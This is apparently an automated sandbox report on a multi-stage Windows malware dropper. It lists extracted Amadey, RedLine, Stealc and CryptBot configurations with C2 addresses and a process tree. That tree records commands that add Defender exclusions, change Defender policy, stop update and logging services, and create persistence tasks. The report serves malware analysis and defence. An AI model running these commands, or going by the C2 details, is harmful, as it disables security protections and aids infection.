Overview

overview

10

Static

static

3

cryptolaemus

windows10-2004-x64

10

cryptolaemus

windows11-21h2-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-09-2024 08:28

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    7bca34b4156b76a7810170bfeb8faca2a6cbf21bfcd14601458f8f3cead28e89.exe

  • Size

    1.8MB

  • MD5

    2436273e0e6deeffca141439e1d08efa

  • SHA1

    ce1468453950fa84b77b1cecb26eec130c0cf102

  • SHA256

    7bca34b4156b76a7810170bfeb8faca2a6cbf21bfcd14601458f8f3cead28e89

  • SHA512

    039032307e75022cd10506ce6e3cc40c7897fc1d34ac3a659c8dad2f339d80cd83fd7b6e01baf2ac37c48a71a90b92e5ed72f8104c575c348c1b53fa81f29929

  • SSDEEP

    24576:kG6YW9xQEHGaYyrgs/DfMFyz3hGpK3j7uW4U/wbucDkLdTaL64uEDx1+SZMgpBjO:eYWkEuyrvMsh91/wPsdTaLZUSLwx

Score
10/10
amadeycryptbotredlinestealcxmrigzharkbot1176f2@oleh_pspbundledefaultdefault2fed3aalivetraffictg cloud @rlreborn admin @fatherofcardersbotnetcredential_accessdefense_evasiondiscoveryevasionexecutioninfostealerminerpersistencespywarestealertrojanupx

Malware Config

Extracted

Family

amadey

Version

4.41

Botnet

fed3aa

C2

http://185.215.113.16

Attributes
  • install_dir

    44111dbc49

  • install_file

    axplong.exe

  • strings_key

    8d0ad6945b1a30a186ec2d30be6db0b5

  • url_paths

    /Jo89Ku7d/index.php

rc4.plain

Extracted

Family

redline

Botnet

LiveTraffic

C2

95.179.250.45:26212

Extracted

Family

redline

Botnet

@OLEH_PSP

C2

65.21.18.51:45580

Extracted

Family

stealc

Botnet

default2

C2

http://185.215.113.17

Attributes
  • url_path

    /2fb6c2cc8dce150a.php

Extracted

Family

cryptbot

C2

fivevd5vs.top

analforeverlovyu.top
Attributes
  • url_path

    /v1/upload.php

Extracted

Family

redline

Botnet

bundle

C2

185.215.113.67:15206

Extracted

Family

stealc

Botnet

default

C2

http://91.202.233.158

Attributes
  • url_path

    /e96ea2db21fa9a1b.php

Extracted

Family

redline

Botnet

TG CLOUD @RLREBORN Admin @FATHEROFCARDERS

C2

91.194.55.146:29862

Extracted

Family

amadey

Version

4.41

Botnet

1176f2

C2

http://185.215.113.19

Attributes
  • install_dir

    417fd29867

  • install_file

    ednfoki.exe

  • strings_key

    183201dc3defc4394182b4bff63c4065

  • url_paths

    /CoreOPT/index.php

rc4.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • CryptBot

    CryptBot is a C++ stealer distributed widely in bundle with other software.

    spywarestealercryptbot
  • Detects ZharkBot payload 2 IoCs

    ZharkBot is a botnet written C++.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 6 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • ZharkBot

    ZharkBot is a botnet written C++.

    botnetzharkbot
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

    credential_accessstealer
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs
    evasion
  • XMRig Miner payload 9 IoCs
    miner
  • Blocklisted process makes network request 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Checks BIOS information in registry 2 TTPs 10 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 9 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 31 IoCs
  • Identifies Wine through registry keys 2 TTPs 4 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Indirect Command Execution 1 TTPs 17 IoCs

    Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

    defense_evasion
  • Loads dropped DLL 6 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • UPX packed file 14 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

    persistence
  • Drops file in System32 directory 35 IoCs
  • Enumerates processes with tasklist 1 TTPs 2 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Suspicious use of SetThreadContext 7 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 10 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 4 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 12 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3436
      • C:\Users\Admin\AppData\Local\Temp\7bca34b4156b76a7810170bfeb8faca2a6cbf21bfcd14601458f8f3cead28e89.exe
        "C:\Users\Admin\AppData\Local\Temp\7bca34b4156b76a7810170bfeb8faca2a6cbf21bfcd14601458f8f3cead28e89.exe"
        2⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Checks computer location settings
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:2420
        • C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
          "C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe"
          3⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Checks computer location settings
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Adds Run key to start application
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4104
          • C:\Users\Admin\AppData\Local\Temp\1000002001\gold.exe
            "C:\Users\Admin\AppData\Local\Temp\1000002001\gold.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4760
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              5⤵
              • Modifies system certificate store
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3372
          • C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe
            "C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe"
            4⤵
            • Checks computer location settings
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2904
            • C:\Users\Admin\AppData\Roaming\DCp00Nrydj.exe
              "C:\Users\Admin\AppData\Roaming\DCp00Nrydj.exe"
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4624
            • C:\Users\Admin\AppData\Roaming\UjdJSClVzY.exe
              "C:\Users\Admin\AppData\Roaming\UjdJSClVzY.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3580
          • C:\Users\Admin\AppData\Local\Temp\1000005001\Nework.exe
            "C:\Users\Admin\AppData\Local\Temp\1000005001\Nework.exe"
            4⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Drops file in Windows directory
            • Suspicious use of WriteProcessMemory
            PID:4420
            • C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
              "C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe"
              5⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:4736
              • C:\Users\Admin\AppData\Local\Temp\1000045001\Office2024.exe
                "C:\Users\Admin\AppData\Local\Temp\1000045001\Office2024.exe"
                6⤵
                • Executes dropped EXE
                • Drops file in System32 directory
                • Suspicious behavior: EnumeratesProcesses
                PID:3480
                • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                  7⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3160
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                  7⤵
                    PID:3312
                    • C:\Windows\system32\wusa.exe
                      wusa /uninstall /kb:890830 /quiet /norestart
                      8⤵
                        PID:2924
                    • C:\Windows\system32\sc.exe
                      C:\Windows\system32\sc.exe stop UsoSvc
                      7⤵
                      • Launches sc.exe
                      PID:2408
                    • C:\Windows\system32\sc.exe
                      C:\Windows\system32\sc.exe stop WaaSMedicSvc
                      7⤵
                      • Launches sc.exe
                      PID:232
                    • C:\Windows\system32\sc.exe
                      C:\Windows\system32\sc.exe stop wuauserv
                      7⤵
                      • Launches sc.exe
                      PID:5064
                    • C:\Windows\system32\sc.exe
                      C:\Windows\system32\sc.exe stop bits
                      7⤵
                      • Launches sc.exe
                      PID:2372
                    • C:\Windows\system32\sc.exe
                      C:\Windows\system32\sc.exe stop dosvc
                      7⤵
                      • Launches sc.exe
                      PID:1812
                    • C:\Windows\system32\powercfg.exe
                      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                      7⤵
                      • Power Settings
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4604
                    • C:\Windows\system32\powercfg.exe
                      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                      7⤵
                      • Power Settings
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1960
                    • C:\Windows\system32\powercfg.exe
                      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                      7⤵
                      • Power Settings
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4868
                    • C:\Windows\system32\powercfg.exe
                      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                      7⤵
                      • Power Settings
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2600
                    • C:\Windows\system32\sc.exe
                      C:\Windows\system32\sc.exe delete "QKJNEQWA"
                      7⤵
                      • Launches sc.exe
                      PID:396
                    • C:\Windows\system32\sc.exe
                      C:\Windows\system32\sc.exe create "QKJNEQWA" binpath= "C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe" start= "auto"
                      7⤵
                      • Launches sc.exe
                      PID:4044
                    • C:\Windows\system32\sc.exe
                      C:\Windows\system32\sc.exe stop eventlog
                      7⤵
                      • Launches sc.exe
                      PID:3048
                    • C:\Windows\system32\sc.exe
                      C:\Windows\system32\sc.exe start "QKJNEQWA"
                      7⤵
                      • Launches sc.exe
                      PID:3400
              • C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default2.exe
                "C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default2.exe"
                4⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Checks processor information in registry
                • Suspicious behavior: EnumeratesProcesses
                PID:2656
              • C:\Users\Admin\AppData\Local\Temp\1000129001\2.exe
                "C:\Users\Admin\AppData\Local\Temp\1000129001\2.exe"
                4⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Checks processor information in registry
                PID:5036
                • C:\Users\Admin\AppData\Local\Temp\service123.exe
                  "C:\Users\Admin\AppData\Local\Temp\service123.exe"
                  5⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:4768
                • C:\Windows\SysWOW64\schtasks.exe
                  "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\Admin\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
                  5⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:2424
              • C:\Users\Admin\AppData\Local\Temp\1000191001\needmoney.exe
                "C:\Users\Admin\AppData\Local\Temp\1000191001\needmoney.exe"
                4⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:4072
                • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                  C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                  5⤵
                  • Executes dropped EXE
                  PID:1948
              • C:\Users\Admin\AppData\Local\Temp\1000254001\penis.exe
                "C:\Users\Admin\AppData\Local\Temp\1000254001\penis.exe"
                4⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3520
              • C:\Users\Admin\AppData\Local\Temp\1000259001\bundle.exe
                "C:\Users\Admin\AppData\Local\Temp\1000259001\bundle.exe"
                4⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4412
              • C:\Users\Admin\AppData\Local\Temp\1000284001\acentric.exe
                "C:\Users\Admin\AppData\Local\Temp\1000284001\acentric.exe"
                4⤵
                • Executes dropped EXE
                • Adds Run key to start application
                • Suspicious use of SetThreadContext
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                PID:5028
                • C:\Windows\SysWOW64\Explorer.exe
                  "C:\Windows\SysWOW64\Explorer.exe"
                  5⤵
                    PID:4524
                • C:\Users\Admin\AppData\Local\Temp\1000285001\2.exe
                  "C:\Users\Admin\AppData\Local\Temp\1000285001\2.exe"
                  4⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious use of SetThreadContext
                  • Suspicious use of WriteProcessMemory
                  PID:4296
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
                    5⤵
                      PID:4636
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 4636 -s 412
                        6⤵
                        • Program crash
                        PID:2896
                  • C:\Users\Admin\AppData\Local\Temp\1000287001\splwow64.exe
                    "C:\Users\Admin\AppData\Local\Temp\1000287001\splwow64.exe"
                    4⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    • Drops file in Windows directory
                    PID:1444
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c move Emotions Emotions.bat & Emotions.bat
                      5⤵
                      • System Location Discovery: System Language Discovery
                      PID:1052
                      • C:\Windows\SysWOW64\tasklist.exe
                        tasklist
                        6⤵
                        • Enumerates processes with tasklist
                        PID:1484
                      • C:\Windows\SysWOW64\findstr.exe
                        findstr /I "wrsa opssvc"
                        6⤵
                          PID:5068
                        • C:\Windows\SysWOW64\tasklist.exe
                          tasklist
                          6⤵
                          • Enumerates processes with tasklist
                          PID:2288
                        • C:\Windows\SysWOW64\findstr.exe
                          findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"
                          6⤵
                          • System Location Discovery: System Language Discovery
                          PID:732
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c md 607698
                          6⤵
                          • System Location Discovery: System Language Discovery
                          PID:2588
                        • C:\Windows\SysWOW64\findstr.exe
                          findstr /V "MaskBathroomCompositionInjection" Participants
                          6⤵
                            PID:4340
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c copy /b ..\Navy + ..\Temperature + ..\Streaming + ..\Ashley + ..\Ensures + ..\Language + ..\Viruses + ..\Bet + ..\Fla + ..\Asbestos + ..\Width Q
                            6⤵
                              PID:1796
                            • C:\Users\Admin\AppData\Local\Temp\607698\Waters.pif
                              Waters.pif Q
                              6⤵
                              • Suspicious use of NtCreateUserProcessOtherParentProcess
                              • Executes dropped EXE
                              • Suspicious use of FindShellTrayWindow
                              • Suspicious use of SendNotifyMessage
                              PID:4928
                            • C:\Windows\SysWOW64\choice.exe
                              choice /d y /t 5
                              6⤵
                                PID:5008
                          • C:\Users\Admin\AppData\Local\Temp\1000290001\crypted.exe
                            "C:\Users\Admin\AppData\Local\Temp\1000290001\crypted.exe"
                            4⤵
                            • Executes dropped EXE
                            • Suspicious use of SetThreadContext
                            • System Location Discovery: System Language Discovery
                            PID:2436
                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                              5⤵
                                PID:3376
                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                5⤵
                                • System Location Discovery: System Language Discovery
                                PID:3636
                            • C:\Users\Admin\AppData\Local\Temp\1000293001\385121.exe
                              "C:\Users\Admin\AppData\Local\Temp\1000293001\385121.exe"
                              4⤵
                              • Executes dropped EXE
                              • System Location Discovery: System Language Discovery
                              PID:372
                              • C:\Users\Admin\AppData\Local\Temp\7zS5474.tmp\Install.exe
                                .\Install.exe
                                5⤵
                                • Executes dropped EXE
                                PID:3604
                                • C:\Users\Admin\AppData\Local\Temp\7zS5772.tmp\Install.exe
                                  .\Install.exe /sdidaXH "385121" /S
                                  6⤵
                                  • Checks BIOS information in registry
                                  • Checks computer location settings
                                  • Executes dropped EXE
                                  • Enumerates system info in registry
                                  PID:4296
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                    7⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:2828
                                    • C:\Windows\SysWOW64\forfiles.exe
                                      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                      8⤵
                                      • Indirect Command Execution
                                      • System Location Discovery: System Language Discovery
                                      PID:720
                                      • C:\Windows\SysWOW64\cmd.exe
                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                        9⤵
                                          PID:3256
                                          • \??\c:\windows\SysWOW64\reg.exe
                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                            10⤵
                                              PID:4000
                                        • C:\Windows\SysWOW64\forfiles.exe
                                          forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                          8⤵
                                          • Indirect Command Execution
                                          PID:4844
                                          • C:\Windows\SysWOW64\cmd.exe
                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                            9⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:924
                                            • \??\c:\windows\SysWOW64\reg.exe
                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                              10⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:4444
                                        • C:\Windows\SysWOW64\forfiles.exe
                                          forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                          8⤵
                                          • Indirect Command Execution
                                          PID:4408
                                          • C:\Windows\SysWOW64\cmd.exe
                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                            9⤵
                                              PID:4728
                                              • \??\c:\windows\SysWOW64\reg.exe
                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                10⤵
                                                  PID:792
                                            • C:\Windows\SysWOW64\forfiles.exe
                                              forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                              8⤵
                                              • Indirect Command Execution
                                              PID:4856
                                              • C:\Windows\SysWOW64\cmd.exe
                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                9⤵
                                                • System Location Discovery: System Language Discovery
                                                PID:3596
                                                • \??\c:\windows\SysWOW64\reg.exe
                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                  10⤵
                                                    PID:4276
                                              • C:\Windows\SysWOW64\forfiles.exe
                                                forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                8⤵
                                                • Indirect Command Execution
                                                • System Location Discovery: System Language Discovery
                                                PID:2228
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                  9⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:100
                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                    10⤵
                                                    • Command and Scripting Interpreter: PowerShell
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:732
                                                    • C:\Windows\SysWOW64\gpupdate.exe
                                                      "C:\Windows\system32\gpupdate.exe" /force
                                                      11⤵
                                                        PID:376
                                              • C:\Windows\SysWOW64\forfiles.exe
                                                "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m ping.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                                7⤵
                                                • Indirect Command Execution
                                                PID:3916
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                  8⤵
                                                    PID:4520
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                      9⤵
                                                      • Command and Scripting Interpreter: PowerShell
                                                      • System Location Discovery: System Language Discovery
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:4416
                                                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                        10⤵
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:4556
                                                • C:\Windows\SysWOW64\schtasks.exe
                                                  schtasks /CREATE /TN "bmbXFarNlpbNUcjZUs" /SC once /ST 08:30:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS5772.tmp\Install.exe\" NE /JPdidJ 385121 /S" /V1 /F
                                                  7⤵
                                                  • Drops file in Windows directory
                                                  • Scheduled Task/Job: Scheduled Task
                                                  PID:3472
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4296 -s 1444
                                                  7⤵
                                                  • Program crash
                                                  PID:3700
                                      • C:\Windows\SysWOW64\cmd.exe
                                        cmd /c schtasks.exe /create /tn "Tuition" /tr "wscript //B 'C:\Users\Admin\AppData\Local\QuantumDynamics Lab\QuantumFlow.js'" /sc minute /mo 5 /F
                                        2⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:4128
                                        • C:\Windows\SysWOW64\schtasks.exe
                                          schtasks.exe /create /tn "Tuition" /tr "wscript //B 'C:\Users\Admin\AppData\Local\QuantumDynamics Lab\QuantumFlow.js'" /sc minute /mo 5 /F
                                          3⤵
                                          • System Location Discovery: System Language Discovery
                                          • Scheduled Task/Job: Scheduled Task
                                          PID:4084
                                      • C:\Windows\SysWOW64\cmd.exe
                                        cmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QuantumFlow.url" & echo URL="C:\Users\Admin\AppData\Local\QuantumDynamics Lab\QuantumFlow.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QuantumFlow.url" & exit
                                        2⤵
                                        • Drops startup file
                                        PID:5072
                                    • C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
                                      C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
                                      1⤵
                                      • Executes dropped EXE
                                      PID:3592
                                    • C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
                                      C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
                                      1⤵
                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                      • Checks BIOS information in registry
                                      • Executes dropped EXE
                                      • Identifies Wine through registry keys
                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:732
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4636 -ip 4636
                                      1⤵
                                        PID:1400
                                      • C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe
                                        C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe
                                        1⤵
                                        • Executes dropped EXE
                                        • Drops file in System32 directory
                                        • Suspicious use of SetThreadContext
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:1796
                                        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                          2⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          • Drops file in System32 directory
                                          • Modifies data under HKEY_USERS
